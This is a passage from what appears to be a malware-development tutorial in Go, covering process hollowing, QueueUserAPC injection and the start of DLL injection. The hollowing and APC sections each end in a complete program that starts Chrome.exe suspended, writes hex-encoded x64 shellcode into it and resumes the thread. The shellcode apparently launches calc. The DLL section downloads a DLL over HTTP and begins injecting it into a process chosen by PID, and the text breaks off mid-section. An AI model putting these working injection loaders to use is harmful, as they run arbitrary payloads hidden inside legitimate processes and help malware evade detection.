* [ResumeThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread)

### Create suspended process

Starting a process can be achieved by calling the CreateProcess API.

```c
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
```

The most important parameter is the dwCreationFlags should be set to CREATE\_SUSPENDED (0x04)

```go
	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil, 
		windows.StringToUTF16Ptr(path),
		 nil,
		 nil, 
		 false, 
		 windows.CREATE_SUSPENDED, 
		 nil, 
		 nil, 
		 &startupInfo, 
		 &outProcInfo)
		 
	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F4ayJvC9Etcll5fSsmlFI%2Fimage.png?alt=media&amp;token=6202cc26-f3ea-4279-a993-f2da17dd2d7d" alt=""><figcaption><p>Process Created </p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FO0LF2Ipzx495UB8DzzxN%2Fimage.png?alt=media&amp;token=b05848df-1431-497d-af54-e6240f3e5896" alt=""><figcaption><p>Suspended Chrome.exe process</p></figcaption></figure>

### Identify Image Base address

To get the base address of the image we need to perform the following:

* Call NtQueryInformationProcess -> This will return the ProcessInfromation Struct. This struct includes the PEB Address
* The base address is stored at offset PEB address + 0x10
* We then read the contents of the address at memory PEB+0x10 using ReadProcessMemory.

Let's break that down

#### Calling NTQueryInfromationProcess

```c
__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
```

* ProcessHandle: This can be obtained from the ProcessInformation returned from the CreateProcess API
* ProcessInformationClass: We will set that to ProcessBasicInformation (0x00)
* ProcessInfromation: A pointer to the PROCESS\_BASIC\_INFORMATION structure
* ProcessInformationLength: Length of the sturcture
* ReturnLength: A pointer to a variable in which the function returns the size of the requested information

The windows package definition of PROCESS\_BASIC\_STRUCTURE didn't work well in this case so we go ahead and define our own struct.

```go
type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}
```

```go
	var ProcessInformation PROCESS_BASIC_INFORMATION
	ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
	var ReturnLength uint32

	err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
	if err != nil {
		log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
	}

	imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
	fmt.Printf("[+] Image base address: 0x%x\n", imageBaseAddress)

```

We now have the address containing the image base address. Since we cannot read it directly we need to use ReadProcessMemory winapi. This API allows us to read the memory of a remote process.

```c
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
```

* hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API
* lpBaseAddress: Target address, we will use the imageBaseAddress from the previous step.
* lpBuffer: We will define a byte slice for the to store the bytes of the remote memory
* nSize: Here we will read 8-bytes in the case of a 64-bit process. size(uintptr)
* lpNumberOfBytesRead: Returns the size of bytes read in a variable

```go
	lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
	var lpNumberOfBytesRead uintptr

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
	}
	fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)

	lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
	fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)
```

A quick look in process hacker shows that the base address of the target Process is indeed the one returned by our code.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FFNkQO26d9666VYLXjmt3%2Fimage.png?alt=media&amp;token=6245fd3f-ca1d-4f03-a5e8-cc5dab2cd9e9" alt=""><figcaption><p>Image base address matching the output of the script in ProcessHacker</p></figcaption></figure>

### Identify the Entry Point

* [MS-DOS Stub](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#ms-dos-stub-image-only): At location 0x3c, the stub has the file offset to the PE signature.
* From the offset found at 0x3c we then calculate the size of the different components of PE.
  * [Signature (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#signature-image-only): 4-bytes (PE00)&#x20;
  * [COFF File Header (Object and Image)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#coff-file-header-object-and-image):  (2+2+4+4+4+2+2) 20-bytes&#x20;
  * [Optional Header Standard Fields (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-standard-fields-image-only): Offsett to entry point 16-bytes
  * Offset of AddressOfEntryPoint from the PE-Header address = 4 + 20 + 16 = 40 decimal (0x28)&#x20;

Let's break that down with some code:

#### Find PE Signature Address

Let's read the contents of the headers from memory using ReadProcessMemory.

```go
	lpBuffer = make([]byte, 0x200)

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
	}
	lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
	lfanew := binary.LittleEndian.Uint32(lfaNewPos)

	fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)
```

Having a look at PE-Bear we can confirm that the PE Signature Offset is 0x78 is correct.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FbC9dQrlDF2wRWwFUCo7h%2Fimage.png?alt=media&amp;token=fb578bf9-8056-4162-823f-689e74a14a76" alt=""><figcaption><p>PE Signature Offset 0x78</p></figcaption></figure>

We now add the 0x28 offset to 0x78 to get the entry point of the executable

```go
	entrypointOffset := lfanew + 0x28
	entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
	entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
	fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
	entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
	fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)
```

Once again we confirm with PE-Bear

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FtQ5NwfYwqeIwZ5Z0wRDI%2Fimage.png?alt=media&amp;token=2cf1d63c-e396-4625-8d44-07adc1415bab" alt=""><figcaption><p>Entry Point Correctly Identified</p></figcaption></figure>

### Overwrite code with our shellcode

Similar to process injection we now use WriteProcessMemory winapi to write our shellcode to the target region. The benefit is that we don't have to create a new thread but we just overwrite the contents in memory and resume the suspended thread.

WriteProcessMemory winapi will be used to write shellcode to the remote memory

```cpp
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

* hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API
* lpBaseAddress:  entrypointAddress identified in the previous step
* lpBuffer: A pointer to the beginning of our shellcode byte array
* nSize: Size of our shellcode
* lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

```go
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, 
					uintptr(entrypointAddress), 
					&sc[0], 
					uintptr(len(sc)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))
```

### Resume Execution

To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achive that.

```c
DWORD ResumeThread(
  [in] HANDLE hThread
);
```

We simply pass the handle returned by the CreateProcess API.

```go
	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FUTQ99FEeTQrhWgmwC4uv%2Fimage.png?alt=media&amp;token=25e94adf-cf7b-4fe8-bd50-ee88f3151f3e" alt=""><figcaption><p>Calculator Executed</p></figcaption></figure>

### Complete Code

```go
package main

import (
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"log"
	"unsafe"

	"golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}

func main() {
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

	var ProcessInformation PROCESS_BASIC_INFORMATION
	ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
	var ReturnLength uint32

	err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
	if err != nil {
		log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
	}

	imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
	fmt.Printf("[+] Address Holding image base address: 0x%x\n", imageBaseAddress)

	lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
	var lpNumberOfBytesRead uintptr

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
	}
	fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)

	lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
	fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)

	lpBuffer = make([]byte, 0x200)

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
	}
	lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
	lfanew := binary.LittleEndian.Uint32(lfaNewPos)

	fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)

	entrypointOffset := lfanew + 0x28
	entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
	entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
	fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
	entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
	fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(entrypointAddress), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
	fmt.Println("[+] Resuming Suspended Thread")

}

```


# 3. QueueUserAPC

\#processinjection #queueUserAPC #golang #maldev #malwaredevelopment

This technique is a combination of the two previous techniques. Unlike process hollowing it will not overwrite the contents of the main thread but allocate a new memory region. The main difference is that QueueUserAPC will be used to execute our shellcode when the main thread is resumed.&#x20;

The benefit is that we won't be calling the CreateRemoteThread API.

The Windows APIs required to perform this technique are the following:

* [CreateProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)
* [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
* [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
* [QueueUserAPC](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc)
* [ResumeThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread)

### Create suspended process

Starting a process can be achieved by calling the CreateProcess API.

```c
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
```

The most important parameter is the dwCreationFlags should be set to CREATE\_SUSPENDED (0x04)

```go
	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fgo3PurTcoXUbK00dYXTn%2Fimage.png?alt=media&amp;token=f180a485-3252-4cc2-9751-b036d3485bc0" alt=""><figcaption><p>Process Created</p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FO0LF2Ipzx495UB8DzzxN%2Fimage.png?alt=media&amp;token=b05848df-1431-497d-af54-e6240f3e5896" alt=""><figcaption><p>Suspended Chrome.exe process</p></figcaption></figure>

## Allocating memory on remote process

VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory.

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

* hProcess: Process Handle returned by the CreateProcess API
* lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
* dwSize: Will be the size of our shellcode
* flAllocationType: We need to reserve and commit memory
* flProtect: This can be done in a number of ways. To write and execute shellcode we will need rx permissions.&#x20;

```go
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
```

### Writing shellcode to remote process

WriteProcessMemory winapi will be used to write shellcode to the remote memory

```cpp
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

* hProcess: Process Handle returned by the CreateProcess API
* lpBaseAddress:  Value returned from VirtualAllocEx
* lpBuffer: A pointer to the beginning of our shellcode byte array
* nSize: Size of our shellcode
* lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

```go
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, 
					uintptr(addr), 
					&sc[0], 
					uintptr(len(sc)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))
```

### Add a user-mode APC ( Asynchronous Procedure Call)

```c
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);
```

pfnAPC: This will be the address returned by VirtualAllocEx

hThread: Returned by the createprocess API

dwData: Set to 0

```go
procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
	success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
	if success1 == 0 {
		log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
	}
```

### Resume Execution

To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achieve that.

```c
DWORD ResumeThread(
  [in] HANDLE hThread
);
```

We simply pass the handle returned by the CreateProcess API.&#x20;

```go
	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FRiQJNs9YikBPGzEn1RfB%2Fimage.png?alt=media&amp;token=fd09b95e-33cf-4a00-a959-b67a5426e214" alt=""><figcaption><p>Calculator Executed</p></figcaption></figure>

### Complete Code

```go
package main

import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"

	"golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}

func main() {
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(outProcInfo.Process),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(addr), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

	procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
	success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
	if success1 == 0 {
		log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
	}
	

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
	fmt.Println("[+] Resuming Suspended Thread")

}

```


# DLL Injection


# 1. Dll Injection

\#processinjection #dllinjection #golang #maldev #malwaredevelopment

A fairly common technique when it comes code injection is dll injection. All major c2 frameworks are using this technique when a command such as `migrate` is used. When a c2 migrates from one process to another, although it's seamless to the operator,  it usually injects the implant dll into the remote process and kills the current implant session. &#x20;

In this post we will explore how we can inject a dll to a remote process.

The following steps will be performed in the following code:

* [Download dll from a remote host](#download-dll-from-a-remote-host)
* [Write it to disk (current working directory)](#write-it-to-disk-current-working-directory)
* [OpenProcess ](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)
* [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
* [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
* [Get address of LoadLibraryA](#get-the-address-loadlibrarya)
* CreateRemoteThread

Let's dive into the code:

### Download dll from a remote host

It is fairly easy to issue a get request and download the remote file into a byte slice in golang. The following function was used.&#x20;

```go
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```

the wget function receives the URL as an argument and returns the byte slice if successful or an error if it fails

This is how the code is called from the main function:

```go
	sc, err := wget("http://127.0.0.1/hello.dll")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}
```

### Write it to disk (current working directory)

This technique will not reflectively load the dll. The dll will be written to disk first and then it will be loaded the remote process.&#x20;

{% code lineNumbers="true" %}

```go
	// Write file to disk
	path, err := os.Getwd()
	if err != nil {
		log.Println(err)
	}
	fmt.Printf("[+] Current Directory: %s\n", path)
	fname := path + "\\hello.dll"

	fnameBytes := []byte(fname)
	err = os.WriteFile(fname, sc, 0644)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write file %s ", fname)
	}
	fmt.Printf("[+] Writing file: %s\n", fname)
```

{% endcode %}

The dll will be stored in the current working directory

* fnameBytes turns the path string to a byte slice

### OpenProcess

To get a handle on the remote process the OpenProcess winapi will be used.

```c
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

* dwDesiredAccess: This is defined by the rest of the APIs that we will use.&#x20;
  * VirtualAllocEX -> PROCESS\_VM\_OPERATION
  * WriteProcessMemory -> PROCESS\_VM\_WRITE and PROCESS\_VM\_OPERATION
  * CreateRemoteThread -> PROCESS\_CREATE\_THREAD, PROCESS\_QUERY\_INFORMATION, PROCESS\_VM\_OPERATION, PROCESS\_VM\_WRITE, and PROCESS\_VM\_READ
  * Alternatively we can use PROCESS\_ALL\_ACCESS for convenience
  * More information on [process security and access rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights)
* bInheritHandle: Will be set to false
* dwProcessId: Will be the ID of the process to get a handle on

Luckily the OpenProcess API is part of the windows package

```go
	pid := uint32(12240)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)
```

## Allocating memory on remote process

VirtuallAllocEx will be used for allocating memory for the dll path in the remote memory.

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

* hProcess: Process Handle returned by the OpenProcess API
* lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
* dwSize: Will be the size of our shellcode
* flAllocationType: We need to reserve and commit memory
* flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtectEx or WriteProcessMemory.

```go
	// Allocate memory on remote process
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(fnameBytes)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
```

### Writing dll path to remote process

WriteProcessMemory winapi will be used to write the dll path to the remote memory

```cpp
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

* hProcess: Process Handle returned by the OpenProcess API
* lpBaseAddress:  Value returned from VirtualAllocEx
* lpBuffer: A pointer to the beginning of our shellcode byte array
* nSize: Size of our shellcode
* lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

{% code lineNumbers="true" %}

```go
// Write to remote memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, 
					addr, 
					&fnameBytes[0], 
					uintptr(len(fnameBytes)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(fnameBytes))
```

{% endcode %}

line 5: Pass the dll path byte slice&#x20;

### Get the address LoadLibraryA

```go
	// Get address of loadLibraryA
